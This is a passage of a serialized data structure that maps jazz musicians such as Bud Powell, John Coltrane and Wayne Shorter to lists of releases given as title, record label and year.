Legacy--Contemporary Records--1971','\\\nIn Pursuit Of Blackness--Milestone (4)--1971','\\\nLift Every Voice And Sing--Atlantic--1971','\\\nNext Album--Milestone (4)--0','\\\nFamily--Mainstream Records--1972','\\\nChild\\'s Dance--Prestige--1972','\\\nBlack Is The Color--Milestone (4)--1972','\\\nFor Those Who Chant--Blue Thumb Records--1972'),'\\\nGeorge Duke':('\\\nHere And Now--MPS Records--1970','\\\nSave The Country--Liberty--1970','\\\nThe Inner Source--MPS Records--1973','\\\nFaces In Reflection--MPS Records--1974','\\\nFeel--MPS Records--1974','\\\nAfter You\\'ve Gone--Concord Jazz--1975','\\\nThe Aura Will Prevail--MPS Records--1975','\\\nPolyrhythm--Briko Records--1975','\\\nI Love The Blues, She Heard My Cry--MPS Records--1975','\\\nLiberated Fantasies--MPS Records--1976','\\\nFrom Me To You--Epic--1977','\\\nReach For It--Epic--1977','\\\nReach For It--Epic--1977','\\\nDukey Stick--Epic--1978','\\\nDon\\'t Let Go--Epic--1978','\\\nGeorge Duke--Pacific Jazz--1978','\\\nI Am For Real (May The Funk Be With You) / Say That You Will--Epic--1979','\\\nThe George Duke Quartet Presented By The Jazz Workshop 1966 Of San Francisco--SABA--1966','\\\nMovin´On / The Way I Feel--Epic--1978','\\\nThe Dream--MPS Records--1978','\\\nA Brazilian Love Affair--Epic--1980','\\\nFollow The Rainbow--Epic--1979','\\\nMaster Of The Game--Epic--1979','\\\nI Want You For Myself / Party Down--Epic--1979','\\\nPluck--Epic--1979','\\\nBrazilian Love Affair / Summer Breezin\\'--Epic--1979','\\\nParty Down b/w Reach For It & Dukey Stick--Epic--1979','\\\nEvery Little Step I Take / Games--Epic--1979','\\\nI Just Want To Love You / Finding My Way--Epic--1981','\\\nSweet Baby / Never Judge A Cover By Its Book--Epic--1981','\\\nShine On--Epic--1982','\\\nDream On--Epic--1982','\\\nI Will Always Be Your Friend--Epic--1982','\\\nRide On Love (Specially Re-mixed Dance Version)--Epic--1982','\\\nDream On--Discos CBS--1982','\\\nRide On Love--Epic--1982','\\\nReach Out / You\\'re The One--Epic--1983','\\\nBorn To Love You--Epic--1983'),'\\\nDenny Zeitlin':('\\\nFlute Fever--Columbia--1964','\\\nCathexis--Columbia--1964','\\\nCarnival--Columbia--1965','\\\nShining Hour - Live At The Trident--Columbia--1966','\\\nZeitgeist--Columbia--1967','\\\nExpansion--Double Helix Records--1973','\\\nInvasion Of The Body Snatchers (Original Motion Picture Soundtrack)--United Artists Records--1978','\\\nTime Remembers One Time Once--ECM Records--1983','\\\nTidal Wave--Palo Alto Records--1984','\\\nHomecoming--Living Music--1986','\\\nTrio--Windham Hill Jazz--1988','\\\nIn The Moment--Windham Hill Jazz--1989','\\\nAt Maybeck--Concord Jazz--1993','\\\nDenny Zeitlin David Friesen--Concord Jazz--1995','\\\nJazz Meets The Folk Song--Columbia--1964','\\\nFlute Fever--Columbia--1964','\\\nSunday Walk--SABA--1967','\\\nGrits & Gravy--Prestige--1967','\\\nFurther Conversations With Myself--Verve Records--1967','\\\nWoodwinds & Reeds--Chevron--1975','\\\nStop Over--SMILE--1976','\\\nEuropean Tour--Portrait--1980','\\\nAs Trio HLP--All Life--0','\\\nGiants--MPS Records--1981','\\\nQuiet Now--Affinity--1981','\\\nThe Paris Concert (Edition One)--Elektra Musician--1983'),'\\\nBud Powell':('\\\nCelia / All God\\'s Chillun Got Rhythm--Mercury--1950','\\\nBud Powell Piano Solos--Mercury--1950','\\\nSonny Stitt And Bud Powell Quartet--New Jazz--1951','\\\nPiano Solos--Mercury--1951','\\\nThe Amazing Bud Powell--Blue Note--1952','\\\nThe Amazing Bud Powell, Volume 2--Blue Note--1954','\\\nBud Powell\\'s Moods--Clef Records--1954','\\\nPiano Interpretations--Norgran Records--1955','\\\nJazz Original--Norgran Records--1955','\\\nPiano Favorites--Clef Records--0','\\\nBud Powells Moods--Norgran Records--1955','\\\nThe Amazing Bud Powell (Volume 1)--Blue Note--1955','\\\nJazz Giant--Norgran Records--1956','\\\nPiano Interpretations By Bud Powell--Norgran Records--1956','\\\nSonny Stitt / Bud Powell / J.J. Johnson--Prestige--1956','\\\nThe Amazing Bud Powell, Vol. 3 - Bud!--Blue Note--1957','\\\nOpus De Bop--Savoy Records--1957','\\\nJazz At Massey Hall Volume 2--Debut Records (3)--0','\\\nJazz At Massey Hall Volume 4--Debut Records (3)--1958','\\\nJazz At Massey Hall Volume 3--Debut Records (3)--1958','\\\nSwingin\\' With Bud--RCA Victor--1958','\\\nJazz At Massey Hall Volume 1--Debut Records (3)--1958','\\\nThe Amazing Bud Powell, Vol. 4 - Time Waits--Blue Note--1958','\\\nThe Lonely One--Verve Records--1959','\\\nJazz At Massey Hall--Debut Records--1956','\\\nThe Scene Changes, Vol. 5--Blue Note--1959','\\\nThe Lonely One...--no label--1959','\\\nDe Face ... Et De Profil--RCA--1960','\\\nThe Essen Jazz Festival All Stars--Debut Records (3)--1960','\\\nBlakey In Paris--Epic--1961','\\\nBud--Roost--1958','\\\nBud Powell In Paris--Reprise Records--1963','\\\nStrictly Confidential--Fontana--1964','\\\nThe Return Of Bud Powell--Roulette--1964','\\\nBouncing With Bud--Sonet--1962','\\\nThe Vintage Years--Verve Records--1965','\\\nA Portrait Of Thelonious--Columbia--1965'),'\\\nPhineas Newborn Jr.':('\\\nHere Is Phineas (The Piano Artistry Of Phineas Newborn Jr.)--Atlantic--1956','\\\nPlays Harold Arlen\\'s Music From Jamaica--RCA Victor--1957','\\\nPhineas\\' Rainbow--RCA Victor--1957','\\\nWhile My Lady Sleeps--RCA Victor--1957','\\\nWe Three--New Jazz--1959','\\\nI Love A Piano--Roulette--1960','\\\nA World Of Piano !--Contemporary Records--1962','\\\nThe Great Jazz Piano Of Phineas Newborn Jr.--Contemporary Records--1963','\\\nPlease Send Me Someone To Love--Contemporary Records--1969','\\\nSolo Piano--Atlantic--1975','\\\nHarlem Blues--Contemporary Records--1975','\\\nBack Home--Contemporary Records--1985','\\\nC Jam Blues--Paddle Wheel--1990','\\\nPiano Portraits By Phineas Newborn--Roulette--1959','\\\nFabulous Phineas--RCA Victor--1958','\\\nI Love A Piano--Roulette--1960','\\\nPiano Portraits By Phineas Newborn--Roulette--1959','\\\nDown Home Reunion--United Artists Records--1959','\\\nBlues Groove--Fontana--1963','\\\nThe Most - Volume 1--Roulette--1961','\\\nTogether Again!--Contemporary Records--1961','\\\nLove Moods--Contemporary Records--1962','\\\nThe Newborn Touch--Contemporary Records--1966','\\\nDig These Blues--Atlantic--1965','\\\nPiano Giants Vol.I--Prestige--1975','\\\nSun: The Roots Of Rock: Volume 3: Delta Rhythm Kings--Charly Records--1976','\\\nLook Out - Phineas Is Back!--Pablo Records--1978','\\\nSun Sound Special: Shoobie Oobie--Charly Records--1978','\\\nThe Rarest King--Blues Boy--1981'),'\\\nAhmad Jamal':('\\\nSeleritus / But Not For Me --Parrot (2)--1954','\\\nExcerpts From The Blues / It Could Happen To You--Parrot (2)--1955','\\\nAhmad Jamal Plays--Parrot (2)--1955','\\\nApril In Paris / Like Someone In Love--Argo (6)--1958','\\\nVolume IV--Argo (6)--1958','\\\nAhmad Jamal At The Pershing--Argo (6)--1958','\\\nThe Piano Scene Of Ahmad Jamal--Epic--1959','\\\nJamal At The Penthouse--Argo (6)--1959','\\\nShould I / I Like To Recognize The Tune--Argo (6)--1959','\\\nPortfolio Of Ahmad Jamal--Argo (6)--1959','\\\nSeleritus--Argo (6)--1959','\\\nHappy Moods--Argo (6)--1960','\\\nHappy Moods--Argo (6)--1960','\\\nBilly Boy / Poor Butterfly--Argo (6)--1960','\\\nWe Kiss In A Shadow / The Breeze And I--Argo (6)--1961','\\\nAhmad Jamal\\'s Alhambra--Argo (6)--1961','\\\nAll Of You--Argo (6)--1962','\\\nJamal At The Pershing Vol. 2--Argo (6)--1961','\\\nAll Of You / You\\'re Blase--Argo (6)--1962','\\\nNight Mist Blues / We Live In Two Different Worlds--Argo (6)--1962','\\\nAt The Blackhawk--Argo (6)--1962','\\\nMacanudo--Argo (6)--1963','\\\nPoinciana--Argo (6)--1963','\\\nNaked City Theme--Argo (6)--1964','\\\nThis Terrible Planet / Dance To The Lady--Argo (6)--1965','\\\nThe Roar Of The Greasepaint - The Smell Of The Crowd--Argo (6)--1965','\\\nRhapsody--Cadet--1965','\\\nExtensions--Argo (6)--1965','\\\nHeat Wave--Cadet--1966','\\\nCry Young--Cadet--1967','\\\nStandard-Eyes--Cadet--1967','\\\nNature Boy / Little Ditty--Cadet--1967','\\\nA Beautiful Friendship / Minor Moods--Cadet--1967','\\\nTranquility--Abc Records--1968','\\\nThe Bright, The Blue And The Beautiful--Cadet--1968','\\\nAt The Top: Poinciana Revisited--Impulse!--1969','\\\nWild Is The Wind / I Wish I Knew--Cadet--1968','\\\nFreeflight--Impulse!--1971','\\\nOutertimeinnerspace--Impulse!--1972','\\\nInspiration--Cadet--1972'),'\\\nKenny Barron':('\\\nSunset To Dawn--Muse Records--1973','\\\nPeruvian Blue--Muse Records--1974','\\\nLucifer--Muse Records--1975','\\\nInnocence--Wolf Records--1978','\\\nTogether--Denon--1979','\\\nIn Tandem--Muse Records--1980','\\\nThe Last Blues Album Volume 1--Groove Merchant--1974','\\\nThe Bull--Chiaroscuro Records--1980','\\\nMusic For Violin & Jazz Quartet--Jam (15)--1981','\\\nTransition--Groove Merchant--1974','\\\nFour In One--Elektra Musician--1982','\\\nGolden Lotus--Muse Records--1982','\\\nAt The Piano--Xanadu Records--1982','\\\nSpiral--Eastwind--1984','\\\nTime Speaks--Baystate--1983','\\\nLandscape--Baystate--1985','\\\n4/4=1--Sonora (5)--1985','\\\nAutumn In New York--Uptown Records (2)--1985','\\\nScratch--Enja Records--1985','\\\nWindSong--Ekapa--1985','\\\nThis Bud\\'s For You...--Muse Records--1985','\\\nFrankly Speaking--Concord Jazz--1985','\\\nMoon Alley--Criss Cross Jazz--1986','\\\n1+1+1--Blackhawk Records--1986','\\\nWhat If?--Enja Records--1986','\\\nTwo As One - Live At Umbria Jazz--Red Record--1987','\\\nThe Red Barron Duo--Storyville--1988','\\\nLive At Fat Tuesdays--Enja Records--1988','\\\nSelf-Portrait In Swing--Contemporary Records--1989','\\\nRhythm-A-Ning--Candid--1990','\\\nLive At Maybeck Recital Hall Series Volume Ten--Concord Jazz--1991','\\\nSambao--Verve Records--1993','\\\nPeople Time--EmArcy--1992','\\\nSoftly I Swing--Red Baron--1992','\\\nOther Places--Verve Records--1994','\\\nWanton Spirit--Gitanes Jazz Productions--1994','\\\nSwamp Sally--Verve Records--1996'),'\\\nTommy Flanagan':('\\\nJazzmen: Detroit--Savoy Records--1956','\\\nSaxophone Colossus--Metronome--1957','\\\nAll Day Long--Metronome--1958','\\\nMainstream 1958--Savoy Records--1958','\\\nPaul Chambers Quintet--Blue Note--1958','\\\nOverseas--Prestige--1958','\\\nJazz...It\\'s Magic!--Regent--1958','\\\nMotor City Scene--United Artists Records--1959','\\\nThe Cats--New Jazz--1959','\\\nThe Swingin\\'est--Vee Jay Records--1959','\\\nPony\\'s Express--Epic--1962','\\\nTrio And Sextet--Onyx Records (3)--1973','\\\nBlues-ette--Savoy Records--1959','\\\nPositive Intensity--CBS/Sony--1977','\\\nSomething Borrowed, Something Blue--Galaxy--1978','\\\nBallads & Blues--Enja Records--1978','\\\nLonely Town--Blue Note--1979','\\\nFine And Mellow--Pablo Records--1979','\\\nOur Delights--Galaxy--1979','\\\nTogether--Denon--1979','\\\nPlays The Music Of Harold Arlen--Trio Records--1979','\\\nYou\\'re Me--Phontastic--1980','\\\nThe Best Of--Pablo Records--1980','\\\nSuper-Session--Enja Records--1980','\\\nThe Free Will--Enja Records--1980','\\\n...And A Little Pleasure--Uptown Records (2)--1981','\\\nAlone Too Long--Denon--1981','\\\nThree For All--Enja Records--1981','\\\nThe Magnificent--Progressive Records (2)--1981','\\\nConfirmation--Enja Records--1982','\\\nGiant Steps (In Memory Of John Coltrane)--Enja Records--1982','\\\nThelonica--Enja Records--1983','\\\nThe Master Trio--Baybridge Records--1983','\\\nBlues In The Closet--Baybridge Records--1984','\\\nI\\'m All Smiles--MPS Records--1984','\\\nMore Delights--Galaxy--1985','\\\nBobby Jaspar Quintet--Columbia--1957','\\\nWistaria--Criss Cross jazz--1986','\\\nThe King And I--Savoy Records--1958','\\\nNights At The Vanguard--Uptown Records (2)--1987','\\\nEvening Star--Contemporary Records--1988','\\\nHere\\'s To My Lady--Chesky Records--1989'),'\\\nHorace Silver':('\\\nMilt Jackson Quintet--Prestige--1954','\\\nBohemia After Dark--Savoy Records--1955','\\\nGigi Gryce · Thelonious Monk · Percy Heath · Art Blakey · Horace Silver · Art Farmer · Kenny Clarke · Cecil Payne · Jimmy Cleveland · Oscar Pettiford · Julius Watkins--Signal (3)--1955','\\\nThe Preacher--Blue Note--1955','\\\nIntroducing Nat Adderley--Wing Records--1955','\\\nHorace Silver Trio--Blue Note--1956','\\\nThe Jazz Message Of--Savoy Records--1956','\\\nHorace Silver And The Jazz Messengers--Blue Note--1956','\\\nMilt Jackson Quartet--Prestige--1955','\\\nStan Getz--Jazztone (2)--1956','\\\nEarly Art--New Jazz--1961','\\\nThe Jody Grind--Blue Note--1966','\\\nPsychedelic Sally / Serenade To A Soul Sister--Blue Note--1968','\\\nThe Show Has Begun--Blue Note--2010','\\\nThe Best Of Horace Silver--Blue Note--1969','\\\nYou Gotta Take A Little Love / Down And Out--Blue Note--1969','\\\nHorn Of Life / Cause And Effect--Blue Note--1972','\\\nLiberated Brother / Nothin\\' Can Stop Me Now--Blue Note--1973','\\\nSilver\\'s Blue--Epic--1956','\\\nThe Complete Milt Jackson With Horace Silver--Prestige--1973','\\\nIn Pursuit Of The 27th Man--Blue Note--1973','\\\nSilver \\'N Brass--Blue Note--1975','\\\nHorace Silver--Blue Note--1975','\\\nSlow Down / Time And Effort--Blue Note--1976','\\\nSilver \\'N Wood--Blue Note--1976','\\\nSilver \\'N Voices--Blue Note--1977','\\\nSilver \\'N Percussion--Blue Note--1978','\\\nSterling Silver--Blue Note--1979','\\\nFurther Explorations--Blue Note--1958','\\\nVolume 2--Blue Note--1956','\\\nSilver \\'N Strings Play The Music Of The Spheres--Blue Note--1980','\\\nI Giganti Del Jazz Vol. 44--Curcio--0'),'\\\nJohn Lewis':('\\\nSea Side Shuffle / Arvern\\'s Strip--CBS--1972','\\\nRadios Appear--Trafalgar--1977','\\\nMouth Of Steel--Stony Plain Records--1984','\\\nA.K.A. King Biscuit Boy--Stony Plain Records--1988','\\\nThe Hawk & Rock--Trilogy Records International--1982'),'\\\nLester Young':('\\\nI Don\\'t Stand A Ghost Of A Chance / Back Home Again In Indiana--Savoy Records--1948','\\\nBattle Of The Saxes--Aladdin (6)--1951','\\\nTenor Sax Solos--Savoy Records--1951','\\\nLester Young Collates--Mercury--1951','\\\nLester Young Collates No. 2--Clef Records--1953','\\\nThe President--Norgran Records--1954','\\\nLester Young With The Oscar Peterson Trio #1--Norgran Records--1954','\\\nThe President, Lester Young--Norgran Records--1954','\\\nLester Young With The Oscar Peterson Trio #2--Norgran Records--1954','\\\nLes Chefs-d\\'Œuvre De Lester Young Vol. 1--Jazz Selection--1955','\\\nLester Young--Norgran Records--1955','\\\nThe Master\\'s Touch--Savoy Records--1956','\\\nBlue Lester--Savoy Records--1956','\\\nLester Leaps In--Epic--1956','\\\nThe President Plays With The Oscar Peterson Trio--Norgran Records--1956','\\\nLester Swings Again--Norgran Records--1956','\\\nPres & Sweets--Norgran Records--1956','\\\nPres And Teddy--Verve Records--1957','\\\nSwinging Lester Young--Score (3)--1958'),'\\\nColeman Hawkins':('\\\nI Ain\\'t Got Nobody / On The Sunny Side Of The Street--Parlophone--1934','\\\nHoneysuckle Rose / Lost In A Fog--Parlophone--1935','\\\nBlue Moon / What A Difference A Day Made--no label--1935','\\\nSwinging \\'Em Down / Star Dust--no label--1936','\\\nSome Of These Days / After Youve Gone--Decca--0','\\\nFantasie / Een Vreemd Feit--Decca--1943','\\\nColeman Hawkins On Asch Records--Asch Records--1945','\\\nThe Man I Love / It\\'s The Talk Of The Town--New York--1950','\\\nThere\\'s A Small Hotel--Mercury--1950','\\\nWishin\\' / Trust In Me--Decca--1952','\\\nMidnight Sun / Spellbound--Decca--0','\\\nLonely Wine / Carioca--Decca--1952','\\\nAmber / Lost In A Fog--Decca--1952','\\\nClassics In Jazz--Capitol Records--1952','\\\nThe Bean--EmArcy--1954','\\\nThe Hawk Talks--Decca--1955'),'\\\nStan Getz':('\\\nStan Getz Volume Two--New Jazz--1950','\\\nLong Island Sound / Mar-Cia--New Jazz--1949','\\\nThere\\'s A Small Hotel / I\\'ve Got You Under My Skin--Birdland (8)--0','\\\nThe New Sounds--Prestige--1951','\\\nHighlights In Modern Jazz--Seeco--1951','\\\nIt Might As Well Be Spring / The Song Is You--Royal Roost--1951','\\\nVol. 2--Royal Roost--1951','\\\nStan Getz Volume One--New Jazz--1950','\\\nStan Getz--Savoy Records--1951','\\\nGene Norman\\'s Just Jazz Volume 13--Modern Records (2)--1951','\\\nThe Artistry Of Stan Getz--Clef Records--1953','\\\nStan Getz Plays--Clef Records--1953','\\\nTabu / Moonlight In Vermont--Royal Roost--1953','\\\nVol. 1--Metronome--1953','\\\nThe Artistry Of Stan Getz--Clef Records--1953','\\\nThe Artistry Of Stan Getz--Clef Records--1953','\\\nJazz At Storyville--Royal Roost--1952','\\\nMore West Coast Jazz--Norgran Records--1956','\\\nSplit Kick--Royal Roost--1954','\\\nBillie And Stan --Dale (2)--1954','\\\nJazz Greats--Royale--1954','\\\nVol. 1--Royal Roost--1950','\\\nGetz The Great--Jazztone (2)--1955','\\\nAt The Shrine--Norgran Records--1955','\\\nStan Getz Quartets--Prestige--1955','\\\nStan Getz Plays--Norgran Records--1955','\\\nHamp And Getz--Norgran Records--1955','\\\nSwedish All Stars, Vol. 2--Metronome--1955','\\\nWest Coast Jazz--Norgran Records--1955','\\\nDiz And Getz--Norgran Records--1955'),'\\\nJohn Coltrane':('\\\nInformal Jazz--Prestige--1956','\\\nColtrane--Prestige--1957','\\\nInterplay For 2 Trumpets And 2 Tenors--Prestige--1957','\\\nMating Call--Prestige--1957','\\\nBlue Train--Blue Note--1957','\\\nWheelin\\' & Dealin\\'--Prestige--1957','\\\nMal/2--Prestige--1957','\\\nTenor Conclave--Prestige--1957','\\\nBlue Train--Blue Note--1957','\\\nUntitled--Odeon--1957','\\\nAll Mornin\\' Long--Prestige--1958','\\\nSoultrane--Prestige--1958','\\\nThe Ray Draper Quintet Featuring John Coltrane--New Jazz--1958','\\\nPoll Winners Jazz--Fontana--1958','\\\nPoll Winners Jazz--Fontana--1958','\\\nMainstream 1958--Savoy Records--1958','\\\nJohn Coltrane With The Red Garland Trio--Prestige--1958','\\\nGood Bait--Prestige--1959','\\\nCattin\\' With Coltrane And Quinichette--Prestige--1959','\\\nThe Cats--New Jazz--1959','\\\nConcentrated Coltrane--Metronome--1960','\\\nGiant Steps--Atlantic--1960','\\\nThe Winners Of Down Beat\\'s Readers Poll 1960 (Reeds)--Philips--1960','\\\nChambers\\' Music: A Jazz Delegation From The East--Jazz: West--1956','\\\nGiant Steps--Atlantic--1960','\\\nSoul Junction--Prestige--1960','\\\nSoul Jazz Volume One--Prestige Bluesville--1960','\\\nRuby, My Dear - Monk And Trane--Riverside Records--1961','\\\nThelonious Monk With John Coltrane--Jazzland--1961','\\\nLush Life--Prestige--1961','\\\nMy Favorite Things--Atlantic--1961','\\\nColtrane Jazz--Atlantic--1961','\\\nSettin\\' The Pace--Prestige--1961','\\\nColtrane Jazz--Atlantic--1961','\\\nMy Favorite Things--Atlantic--1961','\\\nWinner\\'s Circle--Bethlehem Records--1958'),'\\\nSonny Rollins':('\\\nSonny Rollins With Modern Jazz Quartet--Prestige--1954','\\\nMiles Davis With Sonny Rollins--Prestige--1954','\\\nBlows For LP--Prestige--1954','\\\nSonny Rollins And Thelonious Monk--Prestige--1955','\\\nWorktime--Prestige--1956','\\\nDig--Prestige--1956','\\\nMoving Out--Prestige--1956','\\\nConception--Prestige--1956','\\\nPlus 4--Prestige--1956','\\\nThelonious Monk / Sonny Rollins--Prestige--1956','\\\nSonny Rollins With The Modern Jazz Quartet--Prestige--1956','\\\nVolume 2--Blue Note--1957','\\\nSonny Rollins Volume 1--Blue Note--1957','\\\nSaxophone Colossus--Prestige--1957','\\\nThe Sound Of Sonny--Riverside Records--1957','\\\nWay Out West--Contemporary Records--1957','\\\nSaxophone Colossus--Metronome--1957','\\\nDecision--Blue Note--1957','\\\nA Night At The Village Vanguard--Blue Note--1957','\\\nDuets--Verve Records--1958','\\\nThelonious Monk--Prestige--1956','\\\nTour De Force--Prestige--1958','\\\nFreedom Suite--Riverside Records--1958','\\\nBrilliant Corners--Riverside Records--1957','\\\nThe Modern Jazz Quartet At Music Inn — Volume 2--Atlantic--1958','\\\nAt Music Inn / At Falcon\\'s Lair--MetroJazz--1958','\\\nSonny Rollins And The Big Brass--MetroJazz--1958','\\\nSaxes In Stereo--Riverside Records--1959','\\\nNewk\\'s Time--Blue Note--1959','\\\nSonny Side Up--Verve Records--1959','\\\nSonny Rollins And The Contemporary Leaders--Contemporary Records--1959','\\\nEarly Art--New Jazz--1961','\\\nSonny Boy--Prestige--1961','\\\nSonny\\'s Time--Jazzland--1962'),'\\\nGene Ammons':('\\\nBlues Up And Down / You Can Depend On Me--Prestige--1950','\\\nSwinging For Christmas / Talk Of The Town--The Aristocrat Of Records--1948','\\\nStringin\\' The Jug--Prestige--1951','\\\nBattle Of The Saxes--Prestige--1951','\\\nCount Your Blessings / Cara Mia--Prestige--1955','\\\nThis Is Always / I\\'ve Had My Last Affair--Prestige--1955','\\\nAll Star Sessions--Prestige--1956','\\\nJammin\\' With Gene--Prestige--1956','\\\nHi Fidelity Jam Session--Prestige--1956','\\\nFunky--Prestige--1957','\\\nBlue Gene--Prestige--1958','\\\nSoulful Saxophone--Chess--1959','\\\nJug & Sonny--Chess--1960','\\\nBoss Tenor--Prestige--1960','\\\nJammin\\' In Hi Fi With Gene Ammons--Prestige--1957','\\\nThe Swingin\\'est--Vee Jay Records--1959','\\\nNice An\\' Cool--Moodsville--1961','\\\nGroovin\\' With Jug--Pacific Jazz--1961','\\\nJug--Prestige--1961','\\\nUp Tight!--Prestige--1961','\\\nNamely You / Miss Lucy--Prestige--1961','\\\nPagan Love Song / Anna--Prestige--1962','\\\nMoonglow--Prestige--1962','\\\nJust Jug--Argo (6)--1962','\\\nMoito Mato Grosso--Prestige--1962','\\\nTwisting The Jug--Prestige--1962','\\\nDig Him!--Argo (6)--1962','\\\nMy Babe / I Can\\'t Stop Loving You--Argo (6)--1962','\\\nBad! Bossa Nova--Prestige--1962','\\\nBoss Tenors In Orbit!--Verve Records--1962','\\\nBoss Tenors: Straight Ahead From Chicago August 1961--Verve Records--1962','\\\nTwisting The Jug--Prestige--1962','\\\nSoul Summit--Prestige--1962'),'\\\nJoe Henderson':('\\\nPage One--Blue Note--1963','\\\nIn \\'N Out--Blue Note--1964','\\\nOur Thing--Blue Note--1964','\\\nInner Urge--Blue Note--1965','\\\nMode For Joe--Blue Note--1966','\\\nTetragon--Milestone (4)--1968','\\\nPower To The People--Milestone (4)--1969','\\\nPtah, The El Daoud--Impulse!--1970','\\\nIn Pursuit Of Blackness--Milestone (4)--1971','\\\nHenderson\\'s Habiliment--VICTOR WORLD GROUP--1971','\\\nIn Concert--Philips--1971','\\\nBlack Is The Color--Milestone (4)--1972','\\\nMultiple--Milestone (4)--1973','\\\nBorn To Love You--Fantasy--1974','\\\nThe Elements--Milestone (4)--1974','\\\nCanyon Lady--Milestone (4)--1975','\\\nBlack Narcissus--Milestone (4)--1976','\\\nSoft Focus--Timeless Records (3)--1977','\\\nYama--CTI Records--1979','\\\nBarcelona--Enja Records--1979','\\\nMirror, Mirror--MPS Records--1980','\\\nBallads By Four--Galaxy--1981','\\\nRelaxin\\' At Camarillo--Contemporary Records--1981','\\\nEchoes Of An Era 2 (The Concert)--Elektra Musician--1982','\\\nEchoes Of An Era--Elektra--1982','\\\nThe Griffith Park Collection--Elektra Musician--1982','\\\nJazz Patterns--Everest Records Archive Of Folk & Jazz Music--0','\\\nThe Griffith Park Collection 2 In Concert--Elektra Musician--1983','\\\nMais Où Est Donc Ornicar?--IDA Records--1984','\\\nThe State Of The Tenor • Live At The Village Vanguard • Volume 1--Blue Note--1986','\\\nThe Real McCoy--Blue Note--1967','\\\nThe State Of The Tenor • Live At The Village Vanguard • Volume 2--Blue Note--1987','\\\nAn Evening With--Red Record--1987','\\\nDeep Voices--Sea Breeze Jazz--1988','\\\nAkio With Joe Henderson--Muse Records--1988','\\\nSkydance--Justin Time Records Inc.--1989','\\\nGetting Down To Business--Landmark Records (3)--1990','\\\nTenor Tribute--Soul Note--1990','\\\nPunjab--ARCO--1990','\\\nA Very Special Concert--AMV Alliance Music Video--1990','\\\nLush Life: The Music Of Billy Strayhorn--Verve Records--1992','\\\nThe Standard Joe--Red Record--1991','\\\nNew York Reunion--Chesky Records--1991'),'\\\nWayne Shorter':('\\\nIntroducing Wayne Shorter--Vee Jay Records--1959','\\\nBlakey In Paris--Epic--1961','\\\nWayning Moments--Vee Jay Records--1962','\\\nJuju--Blue Note--1964','\\\nNight Dreamer--Blue Note--1964','\\\nThe All Seeing Eye--Blue Note--1966','\\\nAdam\\'s Apple--Blue Note--1966','\\\nSpeak No Evil--Blue Note--1966','\\\nSchizophrenia--Blue Note--1969','\\\nSuper Nova--Blue Note--1969','\\\nOdyssey Of Iska--Blue Note--1971','\\\nWayne Shorter--GNP Crescendo--1973','\\\nMoto Grosso Feio--Blue Note--1974','\\\nSecond Genesis--Vee Jay Records--1974','\\\nNative Dancer--Columbia--1975','\\\nThe Young Lions--Vee Jay Records--1960','\\\nThe Collector--Blue Note--1979','\\\nThe Soothsayer--Blue Note--1979','\\\nEtcetera--Blue Note--1980','\\\nAtlantis--Columbia--1985','\\\nA Barca Dos Amantes--Verve Records--1986','\\\nRemote Control--Columbia--1986','\\\nPower Of Three--Blue Note--1987','\\\nPhantom Navigator--Columbia--1987','\\\nTribute To John Coltrane - Live Under The Sky--Columbia--1987','\\\nThe Best Of Wayne Shorter--Blue Note--1988','\\\nJoy Ryder--Columbia--1988','\\\nMany Rivers To Cross--A&M Records--1989','\\\nWayne Shorter--Fabbri Editori--1989','\\\nPower Of Three – Live At Montreux--Pioneer LDCE Ltd.--1990','\\\nRandooga (Select Live Under The Sky\\'90)--Epic--1990','\\\nOlympia - May 13, 1961--Trema--1992','\\\nThe Fugitive (Music From The Original Motion Picture Soundtrack)--Elektra--1993','\\\nA Tribute To Miles--Qwest Records--1994','\\\nHigh Life--Verve Records--1995','\\\nThis Is Jazz, Vol. 19--Columbia--1996','\\\n1+1--Verve Records--1997','\\\nOlympia 13 Mai 1961 Part 1--Trema--1999','\\\nInfant Eyes--Challenge Records (3)--2000','\\\nFootprints Live!--Verve Records--2002'),'\\\nGeorge Coleman':('\\\nEastern Rebellion--Timeless Records (3)--1976','\\\nAmsterdam After Dark--Timeless Records (3)--1979','\\\nIn Concert--VJ International--1977','\\\nManhattan Panorama--Theresa Records--1985','\\\nGeorge Coleman At Yoshi\\'s--Theresa Records--1989','\\\nNew York City, Philharmonic Hall At Lincoln Center, February 12, 1964--Giants Of Jazz--1998','\\\nConvergence--Triloka Records--1990','\\\nPlaying Changes--no label--1991','\\\nMy Horns Of Plenty--Birdology--1991','\\\nLive At Left Bank Jazz Society 1968--Vee Jay Records--1977','\\\n4 Generations Of Miles--Chesky Records--2002','\\\nCity Lights--Blue Note--1957','\\\nThe Max Roach 4 Plays Charlie Parker--Mercury--1959','\\\nDeeds, Not Words--Riverside Records--1958','\\\nDeeds, Not Words--Riverside Records--1958','\\\nHouse Party--Blue Note--1958','\\\nMax Roach + 4 On The Chicago Scene--Emarcy--1958','\\\nMax Roach + 4 At Newport--EmArcy--1958','\\\nDown Home Reunion--United Artists Records--1959','\\\nThe Sermon!--Blue Note--1959','\\\nBooker Little 4 & Max Roach--United Artists Records--1959','\\\nSister Salvation--Atlantic--1960','\\\nAward-Winning Drummer--Time Records (3)--1960','\\\nThe House I Live In--Elektra--1960','\\\nSomethin\\' Sanctified--Atlantic--1961','\\\nTwo Sides Of Slide--Charlie Parker Records--1961','\\\nLong Night--Jazzland--1961','\\\nAnd His Horn Of Plenty--Strand Records (2)--1961','\\\nBooker Little And Friend*--Bethlehem Records--1961','\\\nDrum Suite Parts I, II, III, IV, V --Epic--0','\\\nExodus--Philips--1962','\\\nJazz With A Twist--Atlantic--1962'),'\\\nHarold Land':('\\\nSan Diego Bounce / I Remember April--Regent--1949','\\\nSweet Clifford--Mercury Emarcy Jazz--1956','\\\nHarold In The Land Of Jazz--Contemporary Records--1958','\\\nMontgomeryland--Pacific Jazz--1960','\\\nEastward Ho! Harold Land In New York--JAZZLAND--1960','\\\nWest Coast Blues!--JAZZLAND--1960','\\\nThe Remarkable Carmell Jones--Pacific Jazz--1961','\\\nThe Montgomery Brothers--Pacific Jazz--1961','\\\nArt Blakey & The Jazz Messengers / The Elmo Hope Quintet Featuring Harold Land--Pacific Jazz--1962','\\\nUpper Classmen--Interlude (2)--1959','\\\nThe Fox--HiFi Jazz--1960','\\\nChoma (Burn)--Mainstream Records--1971','\\\nSan Francisco--Blue Note--1971','\\\nA New Shade Of Blue--Mainstream Records--1971','\\\nDamisi--Mainstream Records--1972','\\\nLive At The Festival--Enja Records--1973','\\\nJazz--Mainstream Records--1974','\\\nBlack California (The Savoy Sessions)--Savoy Records--1976','\\\nTake Aim--Blue Note--1980','\\\nXocia\\'s Dance--Muse Records--1982','\\\nTopology--no 